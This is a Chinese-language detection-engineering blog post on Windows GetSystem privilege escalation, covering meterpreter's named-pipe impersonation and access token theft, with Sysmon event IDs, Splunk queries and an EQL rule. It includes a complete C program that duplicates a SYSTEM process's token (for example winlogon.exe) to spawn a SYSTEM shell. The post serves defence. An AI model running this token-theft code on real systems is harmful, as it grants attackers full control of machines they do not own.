前言

在 《基于异常行为检测CobaltStrike》 一文里，简单提及过 CobaltStrike 的提权**，当时受限于篇幅，没有深入研究

最近看了几篇文章，结合对一些数据源的思考，想在这里汇总下部分常见提权手法的攻击原理和检测**

本文主要关注 GetSystem 的过程，对应 ATT&CK 攻击框架中的 T1134 – Access Token Manipulation，不涉及 UAC bypass

因为相关名词较多，例如 logon session 和 access token，过程理解可能需要一定的前置知识

这些都写进来怕显得文章又臭又长，以后有精力再另起一篇总结下知识背景吧

以下主要选择两种技术对象作为演示实例—— 命名管道提权 和 访问令牌窃取

命名管道提权

还是从最经典的 meterpreter 中的 getsystem 命令讲起，因为有 源码 可供参考，更方便读者理解

其代码注释中也简单解释了下工作原理和前置条件：

Elevate from local admin to local system via Named Pipe Impersonation.

We spawn a cmd.exe under local system which then connects to our named pipe and we impersonate this client.

This can be done by an Administrator without the need for .

Works on 2000, XP, 2003 and 2008 for all local administrators. On Vista and 7 it will only work if the host process has been elevated through UAC first. Does not work on NT4.

该技术的核心在于对 ImpersonateNamedPipeClient API 的利用，通过命名管道的服务端**模仿客户端**的访问令牌，获取 SYSTEM 权限

关于该 API 的详细说明，具体内容可以参考 官方文档

当然，想调用它，前提是**具备 SeImpersonatePrivilege 的权限，而这通常意味着我们已经是 Admin 用户了

对照源代码，我大致拆解了下该模块具体的实现步骤：

1) getsystem 新建一个线程创建命名管道并等待服务发来的连接 (服务端)2) getsystem 创建了一个以 SYSTEM 权限运行的 Windows 服务，该服务会向命名管道发起连接 (客户端)3) 启动该服务，向目标命名管道发起连接 (客户端 -> 服务端)4) 该**(服务端)接收连接，调用 ImpersonateNamedPipeClient，从而模仿了 SYSTEM 权限的访问令牌5) 完成提权过程后，停止并删除该服务

先简单的复现一下，然后让我们去日志中一一验证 getsystem 的行为轨迹

第一步：创建命名管道

这一步在 sy**on 中有对应的 EID 17 (Pipe Created) 日志记录，很容易就能观测到

另外，在时间节点附近，结合该**对应的 Guid 我们还能看到它更多的动作，文中后半部分有所演示

第二步：创建服务

这一步我们可以借助 Windows 系统日志观测到 EID 7045 (A new service was installed in the system) 的事件发生

不过我习惯了使用 sy**on，但是其日志类型中并没有涉及到 Windows 服务，那是不是就束手无策了呢？

这里需要了解一个小窍门：Windows 安装服务的时候会写入注册表的特定位置

这一知识可以应用在检测 Windows 可疑服务的创建，比如注册表键值中包含 powershell **命令、base64 编码、特殊路径等

那么借助以下命令，我们就能定位到这一步创建的服务名称和命令参数等信息

index=windows EventCode=13 TargetObject="HKLM\\System\\CurrentControlSet\\Services\\*\\ImagePath"

从上图结果中能很明显的看出，该服务启动后(此时尚未启动)会向服务端的命名管道写入数据

第三步：启动服务，连接管道

关于 Windows 服务的启动，这里有个很有意思的细节

本来我还愁找不到相应的系统日志来监测服务的启动行为，但是经过多次实验后，却发现每次都会伴随着 EID 7009 (服务连接超时)的发生

这时我才留意到源码中的这行注释，突然想起来，类似 cmd.exe 这种非有效的服务，它不会向服务管理器返回**

例如，如果我们在命令行中手动创建个简易的服务，然后再看看事件管理器中的系统日志

由此引起的 EID 7009，同样可以作为我们判断 getsystem 命令执行过程中启动服务的证据

而服务启动后，我们可以结合前面**的命令行参数，检索到其触发 EID 1(Process Create) 的相应动作

该命令向服务端命名管道发起连接，这一行为会被 sy**on 的 EID 18 (Pipe Connected) 记录到

第四步：调用 API，完成提权

API 的调用暂无对应日志记录，但是可以根据用户名(User)和**完整性(IntegrityLevel)等字段定位到提权的结果

如果这时我们在 MSF 的控制台执行 shell 命令，可以看到一个 SYSTEM 权限的 cmd.exe 诞生，而其父**却是非 SYSTEM 权限

这一特征也标识着整个提权行为的顺利完成，更多的原理细节和检测步骤可以参考文章后半部分的内容

第五步：删除服务

最后一步容易被很多人忽视——痕迹清除，这一行为在成熟的攻击框架中做得很到位，但同时也有利于我们做行为检测**

我也是通过**源码才记起来加上这一检测点，从而在日志中发现了服务删除的动作

访问令牌窃取

除了上面例子中使用到的 ImpersonateNamedPipeClient 之外，还有一些 Windows API 也能帮助我们完成到 SYSTEM 权限的提升

例如 ImpersonateLoggedOnUser、DuplicateTokenEx 等等

以上图右边最经典的提权路线为例，我简单解释下各步骤：

1) 通过 OpenProcess 获取 SYSTEM 权限**的句柄2) 通过 OpenProcessToken 获取该**的访问令牌3) 通过 DuplicateTokenEx 函数复制该令牌4) 通过 CreateProcessWithTokenW 创建具备同样访问令牌的**

贴一段自己测试时使用的代码，参考 https://git**.com/slyd0g/PrimaryTokenTheft 修改而来

#include <windows.h>#include <iostream>int main(int argc, char** argv) { // Grab PID from command line argument char *pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFOW startupInfo; PROCESS_INFORMATION processInformation; wchar_t cmdline[] = L"C:\\Windows\\System32\\cmd.exe"; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0;}

这个过程建议大家有时间的话还是自己手动操作一遍，其中有很多坑需要留意，但是对于我们加深理解很有帮助

比如我测试时发现好几次 OpenProcess() 成功了，但是 OpenProcessToken() 却报出 ERROR_ACCESS_DENIED (0x5) 的错误

后来才知道原来是因为我不是该**的 TOKEN_OWNER

另外，选择具备 SYSTEM 权限的目标时，要注意 Protected Process Light (PPL) 这个特性

受 PPL 保护的**需要指定 PROCESS_QUERY_LIMITED_INFORMATION 权限时才能执行 OpenProcess()，不然也会报错

针对该特点，也有非常典型的攻击手法，例如 winlogon.exe 具备 SYSTEM 权限但又不受该机制保护，所以经常被利用

关于上述提到所需要的**访问权限等相关信息，更多内容可以参考 这里

更多的实现原理和过程步骤，我就不再赘述了，感兴趣的可以根据这篇 文章 逐步复现

接下来，我会根据复现结果的日志，借助 sy**on 和 splunk 完成 getsystem 过程中的细节**

首先结合前面的结论，通过对父子**的权限继承关系进行判断，定位到相关**主体

拿到父**的 Guid —— {534e2476-46b7-61dd-5508-000000000b00}，然后溯源其相关行为

index=windows (ParentProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}" OR ProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}" OR SourceProcessGUID="{534e2476-46b7-61dd-5508-000000000b00}" OR TargetProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}")

这其中，我们能发现一条很显眼的日志，由 token.exe 向 winlogon.exe 发起的**间访问，注意它的访问权限

PS：sy**on 的 EID 10 中相应字段名为 ProcessGUID，而不是 ProcessGuid

这里对应的就是我们代码中 OpenProcess() 的过程，因为日志里 0x1400 的访问权限正是 PROCESS_QUERY_INFORMATION

这条日志紧随其后的行为便是上述的 token.exe **创建了 SYSTEM 权限的 cmd.exe

其中的 OpenProcessToken()、DuplicateTokenEx() 等行为就不是 sy**on 的能力范围了

关于这一点，我们需要熟悉 sy**on 的日志记录原理 ——

“为了检测 ProcessAccess 类型的日志，sy**on 采用了 ObRegisterCallbacks 注册线程、**和桌面句柄操作的回调列表，以便任何**尝试使用 OpenProcess(), NtOpenProcess(), NtAlpcOpenSenderProcess() 等API打开其他**的句柄时都能够被检测到”

写到这里了想偷个懒，针对该攻击技术，我就直接引用一段国外研究员用 EQL 写的一段检测语句吧：

sequence with maxspan=1m [process where event.code : "10" and /* GrantedAccess values in scope 0x1000 - PROCESS_QUERY_LIMITED_INFORMATION - PPL 0x1400 - PROCESS_QUERY_INFORMATION 0x1F3FFF - PROCESS_ALL_ACCESS */ winlog.event_data.GrantedAccess : ("0x1000", "0x1400", "0x1F3FFF") and winlog.event_data.TargetUser : "NT AUTHORITY\\SYSTEM" and not winlog.event_data.SourceUser : "NT AUTHORITY\\*" and winlog.event_data.TargetImage : "?:\\Windows\\*.exe"] by process.entity_id [process where event.code : "1" and winlog.event_data.LogonId : "0x3e7" and winlog.event_data.TerminalSessionId : "1" and not winlog.event_data.ParentUser : "NT AUTHORITY\\*"] by process.parent.entity_id

本质上就是对前面两个检测点做关联**，只要前面的研究功夫下到位了，这里能施展的空间才会充足

像本文中的第一个例子，**命名管道提权的手法时，涉及的检测点比较丰富，这时在上层做复杂规则检测就会有更多可作为的地方

小结

要做好威胁检测，对攻击和防御两方面的知识都得做到烂熟于心，真正做到知己知彼其实需要长时间的积累

上述**过程主要用到 sy**on 记录日志，但涉及到 Windows API 的调用，sy**on 其实是不足以胜任的

我自己在实际**过程中，经常遇到找不到相应日志的情况，这时如果对日志记录原理的缺乏了解，往往会无从下手

而如果缺乏对攻击原理的熟悉，经常会忽视许多潜在的检测点，更别提去追溯相应日志了

从原理出发或者是从特征溯源，对攻击行为自上而下的**和自下而上的**其实是缺一不可的，结合使用才是正确的姿势

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